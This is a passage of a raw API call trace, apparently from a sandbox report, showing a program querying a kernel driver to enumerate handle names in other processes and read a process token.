lpBytesReturned=0x12d450*=0x50, lpOverlapped=0x0) returned 1 [0121.466] PsLookupProcessByProcessId (in: ProcessId=0x1e0, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.466] PsAcquireProcessExitSynchronization () returned 0x0 [0121.466] KeStackAttachProcess (in: PROCESS=0xfffffa8003055910, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8003055910, ApcState=0xfffff880044355d0) [0121.466] ObReferenceObjectByHandle (in: Handle=0x3c8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa800308f070, HandleInformation=0x0) returned 0x0 [0121.466] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.466] PsReleaseProcessExitSynchronization () returned 0x2 [0121.466] ObfDereferenceObject (Object=0xfffffa8003055910) returned 0xda [0121.466] ObQueryNameString (in: Object=0xfffffa800308f070, ObjectNameInfo=0xfffffa8001a05044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a05044, ReturnLength=0xfffff88004435550) returned 0x0 [0121.466] ObfDereferenceObject (Object=0xfffffa800308f070) returned 0x1 [0121.466] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.466] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0121.466] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0121.466] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x76, lpOverlapped=0x0) returned 1 [0121.466] PsLookupProcessByProcessId (in: ProcessId=0x1e0, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.466] PsAcquireProcessExitSynchronization () returned 0x0 [0121.466] KeStackAttachProcess (in: PROCESS=0xfffffa8003055910, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8003055910, ApcState=0xfffff880044355d0) [0121.466] ObReferenceObjectByHandle (in: Handle=0x534, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa800343ed10, HandleInformation=0x0) returned 0x0 [0121.466] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.466] PsReleaseProcessExitSynchronization () returned 0x2 [0121.466] ObfDereferenceObject (Object=0xfffffa8003055910) returned 0xda [0121.466] ObQueryNameString (in: Object=0xfffffa800343ed10, ObjectNameInfo=0xfffffa8001a0c044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a0c044, ReturnLength=0xfffff88004435550) returned 0x0 [0121.466] ObfDereferenceObject (Object=0xfffffa800343ed10) returned 0x2 [0121.466] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.467] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0121.467] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0121.467] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0121.467] PsLookupProcessByProcessId (in: ProcessId=0x1e0, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.467] PsAcquireProcessExitSynchronization () returned 0x0 [0121.467] KeStackAttachProcess (in: PROCESS=0xfffffa8003055910, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8003055910, ApcState=0xfffff880044355d0) [0121.467] ObReferenceObjectByHandle (in: Handle=0x5a4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80031f0a80, HandleInformation=0x0) returned 0x0 [0121.467] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.467] PsReleaseProcessExitSynchronization () returned 0x2 [0121.467] ObfDereferenceObject (Object=0xfffffa8003055910) returned 0xda [0121.467] ObQueryNameString (in: Object=0xfffffa80031f0a80, ObjectNameInfo=0xfffffa8001a0d044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a0d044, ReturnLength=0xfffff88004435550) returned 0x0 [0121.467] ObfDereferenceObject (Object=0xfffffa80031f0a80) returned 0x1 [0121.467] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.467] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0121.467] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0121.467] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0121.467] PsLookupProcessByProcessId (in: ProcessId=0x1e0, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.467] PsAcquireProcessExitSynchronization () returned 0x0 [0121.467] KeStackAttachProcess (in: PROCESS=0xfffffa8003055910, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8003055910, ApcState=0xfffff880044355d0) [0121.467] ObReferenceObjectByHandle (in: Handle=0x5b4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80031ee8f0, HandleInformation=0x0) returned 0x0 [0121.467] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.467] PsReleaseProcessExitSynchronization () returned 0x2 [0121.467] ObfDereferenceObject (Object=0xfffffa8003055910) returned 0xda [0121.467] ObQueryNameString (in: Object=0xfffffa80026f2c50, ObjectNameInfo=0xfffffa8001a0f044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa8001a0f044, ReturnLength=0xfffff88004435508) returned 0x0 [0121.467] ObfDereferenceObject (Object=0xfffffa80031ee8f0) returned 0x1 [0121.467] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.467] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0121.467] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0121.468] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0xb6, lpOverlapped=0x0) returned 1 [0121.468] PsLookupProcessByProcessId (in: ProcessId=0x1e0, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.468] PsAcquireProcessExitSynchronization () returned 0x0 [0121.468] KeStackAttachProcess (in: PROCESS=0xfffffa8003055910, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8003055910, ApcState=0xfffff880044355d0) [0121.468] ObReferenceObjectByHandle (in: Handle=0x600, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8010dc5b80, HandleInformation=0x0) returned 0x0 [0121.468] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.468] PsReleaseProcessExitSynchronization () returned 0x2 [0121.468] ObfDereferenceObject (Object=0xfffffa8003055910) returned 0xda [0121.468] ObQueryNameString (in: Object=0xfffffa8010dc5b80, ObjectNameInfo=0xfffffa8001a10044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a10044, ReturnLength=0xfffff88004435550) returned 0x0 [0121.468] ObfDereferenceObject (Object=0xfffffa8010dc5b80) returned 0x2 [0121.468] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.468] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0121.468] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0121.468] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0xba, lpOverlapped=0x0) returned 1 [0121.468] PsLookupProcessByProcessId (in: ProcessId=0x1e0, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.468] PsAcquireProcessExitSynchronization () returned 0x0 [0121.468] KeStackAttachProcess (in: PROCESS=0xfffffa8003055910, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8003055910, ApcState=0xfffff880044355d0) [0121.468] ObReferenceObjectByHandle (in: Handle=0x608, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8010dc5970, HandleInformation=0x0) returned 0x0 [0121.468] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.468] PsReleaseProcessExitSynchronization () returned 0x2 [0121.468] ObfDereferenceObject (Object=0xfffffa8003055910) returned 0xda [0121.468] ObQueryNameString (in: Object=0xfffffa8010dc5970, ObjectNameInfo=0xfffffa8001fdd044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001fdd044, ReturnLength=0xfffff88004435550) returned 0x0 [0121.468] ObfDereferenceObject (Object=0xfffffa8010dc5970) returned 0x2 [0121.468] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.468] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0121.468] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0121.468] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0121.468] PsLookupProcessByProcessId (in: ProcessId=0x1e0, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.469] PsAcquireProcessExitSynchronization () returned 0x0 [0121.469] KeStackAttachProcess (in: PROCESS=0xfffffa8003055910, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8003055910, ApcState=0xfffff880044355d0) [0121.469] ObReferenceObjectByHandle (in: Handle=0x724, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80035681b0, HandleInformation=0x0) returned 0x0 [0121.469] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.469] PsReleaseProcessExitSynchronization () returned 0x2 [0121.469] ObfDereferenceObject (Object=0xfffffa8003055910) returned 0xda [0121.469] ObQueryNameString (in: Object=0xfffffa80035681b0, ObjectNameInfo=0xfffffa8001fe0044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001fe0044, ReturnLength=0xfffff88004435550) returned 0x0 [0121.469] ObfDereferenceObject (Object=0xfffffa80035681b0) returned 0x2 [0121.469] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.469] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0121.469] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0121.469] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0121.469] PsLookupProcessByProcessId (in: ProcessId=0x1e0, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.469] PsAcquireProcessExitSynchronization () returned 0x0 [0121.469] KeStackAttachProcess (in: PROCESS=0xfffffa8003055910, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8003055910, ApcState=0xfffff880044355d0) [0121.469] ObReferenceObjectByHandle (in: Handle=0x734, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8010307f20, HandleInformation=0x0) returned 0x0 [0121.469] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.469] PsReleaseProcessExitSynchronization () returned 0x2 [0121.469] ObfDereferenceObject (Object=0xfffffa8003055910) returned 0xda [0121.469] ObQueryNameString (in: Object=0xfffffa8010307f20, ObjectNameInfo=0xfffffa8001fed044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001fed044, ReturnLength=0xfffff88004435550) returned 0x0 [0121.469] ObfDereferenceObject (Object=0xfffffa8010307f20) returned 0x2 [0121.469] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.469] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0121.469] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0121.469] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0121.470] PsLookupProcessByProcessId (in: ProcessId=0x1e0, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.470] PsAcquireProcessExitSynchronization () returned 0x0 [0121.470] KeStackAttachProcess (in: PROCESS=0xfffffa8003055910, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8003055910, ApcState=0xfffff880044355d0) [0121.470] ObReferenceObjectByHandle (in: Handle=0x738, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa800352e5a0, HandleInformation=0x0) returned 0x0 [0121.470] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.470] PsReleaseProcessExitSynchronization () returned 0x2 [0121.470] ObfDereferenceObject (Object=0xfffffa8003055910) returned 0xda [0121.470] ObQueryNameString (in: Object=0xfffffa800352e5a0, ObjectNameInfo=0xfffffa8001ffa044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001ffa044, ReturnLength=0xfffff88004435550) returned 0x0 [0121.470] ObfDereferenceObject (Object=0xfffffa800352e5a0) returned 0x2 [0121.470] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.470] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0121.470] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0121.470] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0121.470] PsLookupProcessByProcessId (in: ProcessId=0x1e0, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.470] PsAcquireProcessExitSynchronization () returned 0x0 [0121.470] KeStackAttachProcess (in: PROCESS=0xfffffa8003055910, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8003055910, ApcState=0xfffff880044355d0) [0121.470] ObReferenceObjectByHandle (in: Handle=0x74c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80023916f0, HandleInformation=0x0) returned 0x0 [0121.470] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.470] PsReleaseProcessExitSynchronization () returned 0x2 [0121.470] ObfDereferenceObject (Object=0xfffffa8003055910) returned 0xda [0121.470] ObQueryNameString (in: Object=0xfffffa80023916f0, ObjectNameInfo=0xfffffa80019ff7c4, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa80019ff7c4, ReturnLength=0xfffff88004435550) returned 0x0 [0121.470] ObfDereferenceObject (Object=0xfffffa80023916f0) returned 0x2 [0121.470] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.470] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0121.470] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0121.470] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x38, lpOverlapped=0x0) returned 1 [0121.470] PsLookupProcessByProcessId (in: ProcessId=0x1e0, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.471] PsAcquireProcessExitSynchronization () returned 0x0 [0121.471] KeStackAttachProcess (in: PROCESS=0xfffffa8003055910, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8003055910, ApcState=0xfffff880044355d0) [0121.471] ObReferenceObjectByHandle (in: Handle=0x768, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80035a2b80, HandleInformation=0x0) returned 0x0 [0121.471] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.471] PsReleaseProcessExitSynchronization () returned 0x2 [0121.471] ObfDereferenceObject (Object=0xfffffa8003055910) returned 0xda [0121.471] ObQueryNameString (in: Object=0xfffffa80035a2b80, ObjectNameInfo=0xfffffa800341c7c4, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa800341c7c4, ReturnLength=0xfffff88004435550) returned 0x0 [0121.471] ObfDereferenceObject (Object=0xfffffa80035a2b80) returned 0x1 [0121.471] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.471] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0121.471] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0121.471] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x38, lpOverlapped=0x0) returned 1 [0121.471] PsLookupProcessByProcessId (in: ProcessId=0x1e0, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.471] PsAcquireProcessExitSynchronization () returned 0x0 [0121.471] KeStackAttachProcess (in: PROCESS=0xfffffa8003055910, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8003055910, ApcState=0xfffff880044355d0) [0121.471] ObReferenceObjectByHandle (in: Handle=0x89c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80023c7580, HandleInformation=0x0) returned 0x0 [0121.471] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.471] PsReleaseProcessExitSynchronization () returned 0x2 [0121.471] ObfDereferenceObject (Object=0xfffffa8003055910) returned 0xda [0121.471] ObQueryNameString (in: Object=0xfffffa80023c7580, ObjectNameInfo=0xfffffa800201f044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa800201f044, ReturnLength=0xfffff88004435550) returned 0x0 [0121.471] ObfDereferenceObject (Object=0xfffffa80023c7580) returned 0x1 [0121.471] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.471] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0121.471] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0121.471] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x38, lpOverlapped=0x0) returned 1 [0121.472] PsLookupProcessByProcessId (in: ProcessId=0x1e0, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.472] PsAcquireProcessExitSynchronization () returned 0x0 [0121.472] KeStackAttachProcess (in: PROCESS=0xfffffa8003055910, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8003055910, ApcState=0xfffff880044355d0) [0121.472] ObReferenceObjectByHandle (in: Handle=0x8e0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80019bb3f0, HandleInformation=0x0) returned 0x0 [0121.472] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.472] PsReleaseProcessExitSynchronization () returned 0x2 [0121.472] ObfDereferenceObject (Object=0xfffffa8003055910) returned 0xda [0121.472] ObQueryNameString (in: Object=0xfffffa80019bb3f0, ObjectNameInfo=0xfffffa8001a07044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a07044, ReturnLength=0xfffff88004435550) returned 0x0 [0121.472] ObfDereferenceObject (Object=0xfffffa80019bb3f0) returned 0x2 [0121.472] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.472] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0121.472] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x1e8) returned 0xc0 [0121.472] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0121.472] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88004435668, HandleInformation=0x0 | out: Object=0xfffff88004435668*=0xfffffa8003058b30, HandleInformation=0x0) returned 0x0 [0121.472] ObOpenObjectByPointer (in: Object=0xfffffa8003058b30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88004435670 | out: Handle=0xfffff88004435670*=0xffffffff80000550) returned 0x0 [0121.472] ObfDereferenceObject (Object=0xfffffa8003058b30) returned 0x40 [0121.472] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000550, DesiredAccess=0x8, TokenHandle=0xfffffa80036b6180 | out: TokenHandle=0xfffffa80036b6180*=0xc8) returned 0x0 [0121.472] ZwClose (Handle=0xffffffff80000550) returned 0x0 [0121.472] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.472] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0121.472] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x12), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="SYSTEM", cchName=0x12d3c0, ReferencedDomainName="NT AUTHORITY", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0121.474] CloseHandle (hObject=0xc8) returned 1 [0121.474] CloseHandle (hObject=0xc0) returned 1 [0121.474] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0121.474] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x5a, lpOverlapped=0x0) returned 1 [0121.474] PsLookupProcessByProcessId (in: ProcessId=0x1e8, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.474] PsAcquireProcessExitSynchronization () returned 0x0 [0121.474] KeStackAttachProcess (in: PROCESS=0xfffffa8003058b30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8003058b30, ApcState=0xfffff880044355d0) [0121.474] ObReferenceObjectByHandle (in: Handle=0xc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80030867a0, HandleInformation=0x0) returned 0x0 [0121.474] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.474] PsReleaseProcessExitSynchronization () returned 0x2 [0121.474] ObfDereferenceObject (Object=0xfffffa8003058b30) returned 0x3e [0121.474] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a06044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa8001a06044, ReturnLength=0xfffff88004435508) returned 0x0 [0121.474] ObfDereferenceObject (Object=0xfffffa80030867a0) returned 0x1 [0121.474] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.474] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0121.474] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0121.474] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0121.475] PsLookupProcessByProcessId (in: ProcessId=0x1e8, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.475] PsAcquireProcessExitSynchronization () returned 0x0 [0121.475] KeStackAttachProcess (in: PROCESS=0xfffffa8003058b30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8003058b30, ApcState=0xfffff880044355d0) [0121.475] ObReferenceObjectByHandle (in: Handle=0x88, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8003059550, 